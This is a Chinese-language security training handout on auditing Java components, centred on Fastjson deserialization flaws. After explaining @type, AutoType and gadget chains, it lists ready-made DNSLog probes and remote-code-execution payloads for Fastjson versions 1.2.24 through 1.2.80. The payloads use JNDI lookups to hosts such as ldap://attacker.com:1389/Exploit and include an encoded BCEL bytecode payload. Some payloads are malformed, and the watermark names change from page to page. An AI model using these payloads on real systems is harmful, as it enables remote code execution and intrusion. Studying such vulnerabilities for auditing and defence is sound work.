组件概念

在 Java 中，**组件（Component）** 是一个广泛使用的概念，通常指 **可复用、模块化的代码单元**，可以独立开发、测试和部署。组件的核心思想是 **高内聚、低耦合**，便于代码管理和扩展。

简单来说组件就像是预制菜，是已经打包好的代码包或者可以称为模块包

优势：组件对于开发一套系统而已可以避免重复造轮子，可以使用极少的代码实现完善的功能点，简单来说就是开发又可以偷懒了。

缺点：安全性问题，组件也是由底层代码编写的，剖析开来也是JAVA底层代码，那么组件代码如果存在漏洞，那么使用组件也会存在相对应的漏洞。

然后实际上我们组件可以分为两种

一、网上爆出过版本漏洞可以直接利用的组件，例如：fastjson、shiro、log4j2

二、配置不当会导致安全问题的组件，例如：druid、Spring boot Actuator、Swagger

审计的思路

通过pom.xml文件或者依赖包扫描查看引入依赖，是否有导入对应的组件，例如通过pom.xml文件发现导入了shiro组件用于身份认证，就可以查看是否符合漏洞版本和利用条件，尝试进行利用。

FastJson

介绍

Fastjson 是阿里巴巴开发的一款高性能 **Java JSON 库**，用于在 Java 对象和 JSON 字符串之间进行序列化和反序列化操作。因其卓越的性能和丰富的功能，Fastjson 在国内 Java 生态中曾被广泛使用。

Fastjson 的核心功能主要包括两个方面：

序列化 (Serialization)： 将 Java 对象转换为 JSON 字符串。

- **示例**:

```
User user = new User("Alice", 30);
String jsonString = JSON.toJSONString(user);
// jsonString 会是类似: {"name":"Alice","age":30}
```

- **特点**: Fastjson 在序列化时表现出色，通常比其他 JSON 库（如 Jackson, Gson）更快，尤其是在处理大型数据结构时。

反序列化 (Deserialization)： 将 JSON 字符串转换回 Java 对象。

- **示例**:

```
String jsonString = "{\"name\":\"Bob\",\"age\":25}";
User user = JSON.parseObject(jsonString, User.class);
// user 对象会被创建，并填充 Bob 和 25
```

- **特点**: Fastjson 在反序列化时具有很强的灵活性，能够处理各种复杂的 JSON 结构，并将其映射到 Java 对象。

柔和安全内部培训资料

简单使用

java对象解析为JSON字符串

在fastjson中把java对象解析为JSON字符串使用的方法是

- toJSONString

我们先创建一个类用于数据转换

```
public class UserClass {
    private String name;
    private String gender;

    public String getgender() {
        return gender;
    }

    public String getName() {
        return name;
    }


    public void setgender(String gender) {
        this.gender = gender;
        System.out.println(gender);
    }

    public void setName(String name) {
        this.name = name;
        System.out.println(name);
    }

}
```

再使用fastjson把UserClass转换成json格式

```
UserClass userClass = new UserClass();
//实例化UserClass类赋值为userClass
userClass.setgender("man");
userClass.setName("caigo");
//设置参数值
System.out.println(userClass);
//打印toJSONString
String jsonString = JSONObject.toJSONString(userClass);
//使用toJSONString()方法对toJSONString进行格式转换
System.out.println("这就是json格式"+jsonString);
//打印转换后的JSON格式数据
```

柴狗安全内部培训资料

```
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" ...
man
caigo
com.example.fastjsondemo.demos.web.UserClass@8efb846
这就是json格式{"name":"caigo"}
```

我们在使用toJSONString()方法时可以在参数后面加上`SerializerFeature.WriteClassName`，这个是阿里巴巴的FastJSON库中的一个序列化特性。它的作用是在JSON序列化过程中，将Java对象的类名写入JSON字符串中，加上这个参数可以让我们知道对象的具体类型，这个也和fastjson的反序列化漏洞产生有关，我们加上运行一下

```
String jsonString =
JSONObject.toJSONString(userClass,SerializerFeature.WriteClassName);
System.out.println("这就是json格式"+jsonString);
```

```
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" ...
man
caigo
com.example.fastjsondemo.demos.web.UserClass@8efb846
这就是json格式{"@type":"com.example.fastjsondemo.demos.web.UserClass","name":"caigo"}

进程已结束,退出代码0
```

这个返回的就是java对象的完整信息，也就是说这个信息它本来就有，只是默认它不会返回。

JSON字符串解析为Java对象

在fastjson中把JSON 字符串解析为Java对象有两个方法

- parse()
- parseObject()

都是用于将 JSON 字符串解析为 Java 对象的方法，但它们有一些区别：

1. **返回类型**：

- parse() 方法返回的是 Object 类型，需要手动进行类型转换。
- parseObject() 方法返回的是泛型 ，可以直接指定要解析的目标类型，无需手动转换。

1. **用法**：

- parse() 方法用于解析 JSON 字符串为任意类型的 Java 对象，需要手动将其转换为具体的对象类型。
- parseObject() 方法可以直接将 JSON 字符串解析为指定的 Java 对象类型。

1. **错误处理**：

- parse() 方法在解析失败时会抛出 JSONException 异常。
- parseObject() 方法在解析失败时会返回 null。

1. **参数**：

- parse() 方法的参数为 JSON 字符串和目标类的 TypeReference。
- parseObject() 方法的参数为 JSON 字符串和目标类的 Class。

柴狗安全内部培训资料

我这里简单演示下

```
//要解析的json格式的数据
String data = "{\"name\":\"caigo\",\"gender\":\"man\"}";

//使用parse()
Object jsondata = JSON.parse(data);
System.out.println(jsondata);

//使用parseObject()
JSONObject jsoncalssdata = JSON.parseObject(data);
System.out.println(jsoncalssdata);
```

```
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" ...
{"gender":"man","name":"caigo"}
{"gender":"man","name":"caigo"}

进程已结束,退出代码0
```

这是正常解析数据，我们在前面把userclass对象进行数据转换的时候的结构不是带有`"@type":"com.example.fastjsondemo.demos.web.UserClass"`这个嘛，我们把我们前面转换的json格式数据再转换为java对象

```
String data = "
{\"@type\":\"com.example.fastjsondemo.demos.web.UserClass\",\"name\":\"caigo\"}";
//要解析的json格式的数据
Object jsondata = JSON.parse(data,Feature.OrderedField);
System.out.println(jsondata);
```

```
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" ...
caigo
com.example.fastjsondemo.demos.web.UserClass@28ba21f3

进程已结束,退出代码0
```

索狗安全内部培训资料

可以正常转换，那么问题就来了，它这里的@type对应的值是它要进行数据转换的类，如果我们把这个类进行了修改，那么我们不就可以触发我们想要触发的类下面的方法嘛

Fastjson 反序列化漏洞的原理

Fastjson 反序列化漏洞是其最受关注的方面，特别是 **远程代码执行 (RCE)** 漏洞。这些漏洞的本质是 Fastjson 在反序列化过程中，由于设计上的特性和安全检查的不足，被攻击者利用来执行非预期的 Java 代码。

漏洞通常涉及以下几个关键要素：

1. **`@type` 字段（AutoType 功能）**
   - **作用**: Fastjson 提供了一个 `AutoType`（自动类型）功能。当 JSON 字符串中包含 `@type` 字段时，Fastjson 会根据 `@type` 指定的完全限定类名，在反序列化时**动态加载并实例化这个类**，而不仅仅是将其视为一个普通的键值对。
   - **例子**:

```
{"@type":"com.example.SomeClass","data":"hello"}
```

Fastjson 会尝试加载 `com.example.SomeClass` 并创建其对象。

2. **Gadgets（利用链）**
   - **定义**: Gadgets 是指在 Java 类路径中（服务器上存在的任何 Java 类）存在的，能够被 Fastjson 反序列化器在实例化或调用其方法时，触发恶意行为的类。
   - **触发方式**: 当 Fastjson 实例化一个对象并为其属性赋值（调用 `setter` 方法）时，或者在某些情况下，当对象被创建（调用构造函数）或执行特定操作（如 `hashCode()`、`equals()` 等）时，如果这些方法内部包含了危险操作（如 JNDI 查找、文件操作、命令执行等），那么这些类就被称为 Gadget。
   - **常见的 Gadget**: 最臭名昭著的 Fastjson RCE 漏洞利用就是通过 `com.sun.rowset.JdbcRowSetImpl` 等 JDK 自带的类，结合 JNDI 注入来实现的。攻击者可以通过构造特殊的 JSON 字符串，让 Fastjson 反序列化 `JdbcRowSetImpl`，进而触发其内部的 JNDI 查询，指向攻击者控制的 LDAP/RMI 服务，最终加载并执行恶意代码。
3. **漏洞触发流程**
   - **攻击者构造恶意 JSON**: 攻击者会制作一个包含 `@type` 字段的 JSON 字符串，其中 `@type` 指向一个存在 Gadget 的类，并且会为这个 Gadget 类的某些属性赋值，这些值会触发 Gadget 的恶意行为。
   - **服务器接收并反序列化**: 服务器接收到这个恶意 JSON 字符串，并使用 `JSON.parseObject(json)` 或 `JSON.parseObject(json, Object.class)` 等方式进行反序列化（即未指定明确的目标类型）。
   - **Fastjson 自动加载类**: Fastjson 根据 `@type` 字段加载指定的 Gadget 类。
   - **执行恶意方法**: 在实例化或设置 Gadget 类属性的过程中，Fastjson 会调用 Gadget 类中的某些方法，这些方法触发了攻击者预设的恶意逻辑，例如发起 JNDI 请求到攻击者的服务器，然后执行恶意 Java 代码。

特殊情况

旧版本 Fastjson 的类型混淆和内部属性递归反序列化： 在 Fastjson 的旧版本中（特别是存在漏洞的版本，如 1.2.24 到 1.2.68 之间的许多版本），即使你指定了目标类，攻击者仍然可以通过在 JSON 中构造**复杂的嵌套结构**，利用 `User` 类中某个属性的类型，间接触发 `AutoType`。

举例：

假设你的 `User` 类中有一个属性是 `Object` 类型，或者是一个接口类型：

深信安全内部培训资料

```
public class User {
    private String username;
    private String password;
    private Object extraInfo; // 或 List<Object>, Map<String, Object> 等

    // Getter 和 Setter 方法
    public String getUsername() { return username; }
    public void setUsername(String username) { this.username = username; }
    public String getPassword() { return password; }
    public void setPassword(String password) { this.password = password; }
    public Object getExtraInfo() { return extraInfo; }
    public void setExtraInfo(Object extraInfo) { this.extraInfo = extraInfo; } //
关键点
}
```

攻击者可以构造一个恶意的 JSON，如下所示：

```
{
  "username": "attacker",
  "password": "password",
  "extraInfo": {
    "@type": "com.sun.rowset.JdbcRowSetImpl", // 恶意 Gadget 类
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
  }
}
```

当你使用 `JSON.parseObject(json, User.class)` 进行反序列化时：

- `username` 和 `password` 会正常赋值给 `User` 对象。
- 当 Fastjson 尝试反序列化 `extraInfo` 字段时，因为它被定义为 `Object` 类型，Fastjson 会再次启用 `AutoType` 机制来确定 `extraInfo` 的具体运行时类型。此时，`@type` 字段就会被识别并尝试加载 `com.sun.rowset.JdbcRowSetImpl`，从而触发远程代码执行。

这就是所谓的**“多态反序列化”**，或者说在对象内部的**“子类型识别”**过程中，`AutoType` 功能仍然发挥作用。

Fastjson 版本过旧且未进行任何安全配置： Fastjson 1.2.24 及以下版本，`AutoType` 默认是**完全开启**的，即使你明确指定了 `User.class`，但如果 JSON 中包含了顶层的 `@type` 字段且该字段指定的是一个恶意类，Fastjson 仍然可能优先按照 `@type` 的指示去实例化这个恶意类。尽管这在这种特定写法下比较少见，但在某些极端情况下（例如与某些特定配置或工具链结合时），仍然不能完全排除风险。

利用POC

DNSLog

```
{"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL",
"val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
```

来源安全内部培训资料

```
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:
```

RCE

```
//Fastjson 1.2.24版本
//TemplatesImpl 反序列化
{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意字节码"],
    "_name": "test",
    "_tfactory": {},
    "_outputProperties": {},
}
//JdbcRowSetImpl 反序列化
{

  "@type":"com.sun.rowset.JdbcRowSetImpl",

  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",

  "autoCommit":true

}
//Fastjson 1.2.25版本
{

  "@type":"[com.sun.rowset.JdbcRowSetImpl;",

  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",

  "autoCommit":true

}

或

{

  "a":{

    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",

    "dataSourceName":"rmi://test.com:9999/TouchFile",

    "autoCommit":true

  }

}
//Fastjson 1.2.42版本
{

  "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
```

柔狗安全内部培训资料

```
  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",

  "autoCommit":true

}
//Fastjson 1.2.43版本
{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
    "autoCommit":true
}

或
{
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
        "dataSourceName":"rmi://test.com:9999/TouchFile",
        "autoCommit":true
    }
}
//Fastjson 1.2.45版本
{

  "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",

  "properties":{

    "data_source":"ldap://127.0.0.1:1234/Exploit"

  }

}

或

{

  "b":{

    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",

    "properties":{"data_source":"ldap://localhost:1389/Exploit"}

  }

}
//Fastjson <=1.2.62 和 <=1.2.66版本
{  "@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"}";

{  "@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/Calc"  }

//Fastjson 1.2.80版本
{
```

柔狗安全内部培训资料

```
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName":
"$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a
3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$eOG$Z$efl$M$9O8$c5$7d$9c$c7$bd7
$f3$fd$f3$f9$F$eO$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$cO
$eO$9cFO$8a$a1$dO$d1$a1$ba$9e$M$7b$w$be$X$bd$8O$9Ol$5b$G$7f$ca$7c$d7$I$f9$7c$rF$J
E$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6
P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$4OI$c3PZ$4Ow$93$dO$e8$n$ad$f1$fa$c
a$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$aO$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$d
f$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fTO$acPt$T$dO$k$fd$b9$f4$o$b1$C$ab$lH$95$d3o
p$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$dO$3c$z$ce$T$c2$91$eap$ac$da$b1$85$
e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
    }
}
```

更多参考资料

[code2sec.com/Java反序列化漏洞学习实践七：fastjson反序列化PoC汇总.md at master · bit4woo/code2sec.com]

实战案例

tian_mail

ruoyi

[若依 4.2 版本 fastjson 1.60 反序列化漏洞 （审计复现） - Tanya203 - 博客园]

Jeecg

[https://xz.aliyun.com/news/12726]

柔狗安全内部培训资料